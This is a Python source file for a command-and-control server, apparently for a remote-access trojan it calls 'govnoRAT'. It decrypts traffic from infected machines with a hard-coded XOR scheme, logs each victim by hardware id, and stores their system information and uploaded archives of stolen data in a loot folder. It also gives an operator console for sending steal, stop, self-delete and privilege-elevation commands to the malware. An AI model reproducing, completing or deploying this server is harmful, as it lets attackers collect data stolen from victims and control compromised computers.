Files
2026-08-27 11:23:33 -06:00

259 lines
8.5 KiB
Python

#!/usr/bin/env python3
"""
https://t.me/neverliet_projects
"""
import asyncio
import base64
import json
import hashlib
import os
import sys
import threading
import uuid
from datetime import datetime
from pathlib import Path
from aiohttp import web
HOST = "0.0.0.0"
PORT = 80
LOOT_DIR = Path("loot")
LOOT_DIR.mkdir(exist_ok=True)
def rolling_xor_decode(data):
result = bytearray(data)
for i in range(len(result) - 1, 0, -1):
result[i] ^= result[i - 1]
return bytes(result)
def rolling_xor_encode(data):
result = bytearray(data)
for i in range(1, len(result)):
result[i] ^= result[i - 1]
return bytes(result)
def xor_with_key(data, key):
return bytes(data[i] ^ key[i % len(key)] for i in range(len(data)))
XOR_KEY = bytes.fromhex("d0af20d0bbd18ed0b1d0bbd18e20d181d0bed181d0b0d182d18c")
def decrypt_mode5(data):
"""
Mode 5 = XOR_key -> Rolling_Encode
decrypt = Rolling_Decode -> XOR_key
"""
step1 = rolling_xor_decode(data)
step2 = xor_with_key(step1, XOR_KEY)
return step2
def encrypt_mode5(data):
step1 = xor_with_key(data, XOR_KEY)
step2 = rolling_xor_encode(step1)
return step2
def prepare_mode5_response(plaintext):
return decrypt_mode5(plaintext)
pending_command = None
clients = {}
def log(msg, level="INFO"):
timestamp = datetime.now().strftime("%H:%M:%S")
colors = {"INFO": "\033[92m", "WARN": "\033[93m", "ERROR": "\033[91m", "DATA": "\033[96m", "CONN": "\033[95m", "CMD": "\033[94m"}
print(f"{colors.get(level, '')}[{timestamp}] [{level}] {msg}\033[0m")
def save_important(client_id, data_type, data, ext="bin"):
client_dir = LOOT_DIR / client_id.replace(":", "_").replace(".", "_")
client_dir.mkdir(exist_ok=True)
timestamp = datetime.now().strftime("%H%M%S")
filepath = client_dir / f"{timestamp}_{data_type}.{ext}"
mode = "w" if isinstance(data, str) else "wb"
with open(filepath, mode, encoding="utf-8" if isinstance(data, str) else None) as f:
f.write(data)
log(f"SAVED: {filepath}", "WARN")
return filepath
async def handle_request(request):
global pending_command
client_ip = request.remote
data = await request.read()
if not data:
return web.Response(text="OK")
# Decrypt
request_type = "1"
hwid = ""
try:
decrypted = decrypt_mode5(data)
if decrypted[:2] == b'PK':
log(f"!!! STOLEN DATA RECEIVED (ZIP) - {len(decrypted)} bytes !!!", "WARN")
save_important(client_ip, "STOLEN_DATA", decrypted, "zip")
return web.Response(body=prepare_mode5_response(b'1'), content_type="application/octet-stream")
try:
req = json.loads(decrypted)
# Debug: show raw request for type 6
if str(req.get("1", "")) == "6":
log(f"TYPE 6 RAW: {decrypted[:500]}", "DATA")
request_type = str(req.get("1", "1"))
hwid = req.get("k", req.get("2", ""))
if request_type not in ["1", "2", "5", "7"]:
log(f"REQUEST TYPE: {request_type}, keys: {list(req.keys())}", "DATA")
if hwid and hwid not in clients:
clients[hwid] = {"ip": client_ip, "first": datetime.now()}
log(f"NEW CLIENT: {hwid}", "WARN")
if request_type == "5" and "3" in req:
sysinfo = req["3"]
log(f"SYSINFO: {sysinfo[:100]}...", "WARN")
save_important(client_ip, "sysinfo", sysinfo, "json")
if request_type == "6" and "3" in req:
try:
stolen_b64 = req["3"]
log(f"Base64 length: {len(stolen_b64)}", "DATA")
stolen_data = base64.b64decode(stolen_b64)
log(f"!!! STOLEN DATA (type 6) - {len(stolen_data)} bytes !!!", "WARN")
# Check if valid ZIP
if stolen_data[:2] == b'PK':
log(f"Valid ZIP file received!", "WARN")
save_important(client_ip, "STOLEN_DATA", stolen_data, "zip")
else:
log(f"Not a ZIP, first bytes: {stolen_data[:20].hex()}", "DATA")
save_important(client_ip, "STOLEN_DATA", stolen_data, "bin")
except Exception as e:
log(f"Failed to decode stolen data: {e}", "ERROR")
# Handle error/log (type 7)
if request_type == "7":
log(f"CLIENT LOG: {req.get('3', '')[:200]}", "DATA")
except json.JSONDecodeError:
log(f"Non-JSON data: {len(decrypted)} bytes", "DATA")
except Exception as e:
log(f"Error: {e}", "ERROR")
# Prepare response
if request_type == "1":
response = b'{"1":0,"2":50}'
log(f"[HEARTBEAT] OK", "CMD")
elif request_type == "2":
if pending_command:
cmd = pending_command
pending_command = None
task_id = str(uuid.uuid4())[:8]
if cmd == "9":
# STEAL needs "2" = path (00 default), "3" = taskid
response = f'{{"1":"9","2":"00","3":"{task_id}"}}'.encode()
else:
response = f'{{"1":"{cmd}","2":"","3":"{task_id}"}}'.encode()
log(f">>> SENDING: {response.decode()} <<<", "WARN")
else:
response = b'{"1":""}'
elif request_type == "5":
response = b'{"1":0,"2":0}'
elif request_type == "6":
log(f"!!! TYPE 6 - STOLEN DATA RECEIVED !!!", "WARN")
response = b'1'
elif request_type == "7":
response = b'{"1":0,"2":0}'
else:
response = b'{"1":0,"2":0}'
return web.Response(
body=prepare_mode5_response(response),
content_type="application/octet-stream"
)
def cli_thread():
global pending_command
print("\n" + "="*50)
print("https://t.me/neverliet_projects - Commands:")
print(" steal - Send STEAL command")
print(" stop - Stop malware")
print(" suicide - Self-delete malware")
print(" clients - Show clients")
print(" loot - Show loot")
print(" exit - Exit")
print("="*50 + "\n")
while True:
try:
cmd = input("\033[94m[C2]>\033[0m ").strip().lower()
if cmd == "steal":
pending_command = "9"
print(">>> STEAL command queued!")
elif cmd == "stop":
pending_command = "3"
print(">>> STOP command queued!")
elif cmd == "suicide":
pending_command = "4"
print(">>> SUICIDE command queued!")
elif cmd == "elevate":
pending_command = "b"
print(">>> ELEVATE command queued!")
elif cmd == "clients":
if clients:
for h, i in clients.items():
print(f" {h}: {i['ip']}")
else:
print(" No clients yet")
elif cmd == "loot":
files = list(LOOT_DIR.rglob("*"))
if files:
for f in files:
if f.is_file():
print(f" {f.relative_to(LOOT_DIR)} ({f.stat().st_size} bytes)")
else:
print(" No loot yet")
elif cmd == "exit":
os._exit(0)
elif cmd:
print(f"Unknown: {cmd}")
except (KeyboardInterrupt, EOFError):
pass
def main():
print(f"""
╔════════════════════════════════════════════╗
║ govnoRAT C2 SERVER ║
║ Port: {PORT}
║ Loot: ./loot/ ║
╚════════════════════════════════════════════╝
""")
log(f"Starting on {HOST}:{PORT}", "INFO")
app = web.Application(client_max_size=100*1024*1024)
app.router.add_route("*", "/{path:.*}", handle_request)
cli = threading.Thread(target=cli_thread, daemon=True)
cli.start()
try:
web.run_app(app, host=HOST, port=PORT, print=None)
except PermissionError:
log("Permission denied! Run as Administrator", "ERROR")
sys.exit(1)
if __name__ == "__main__":
main()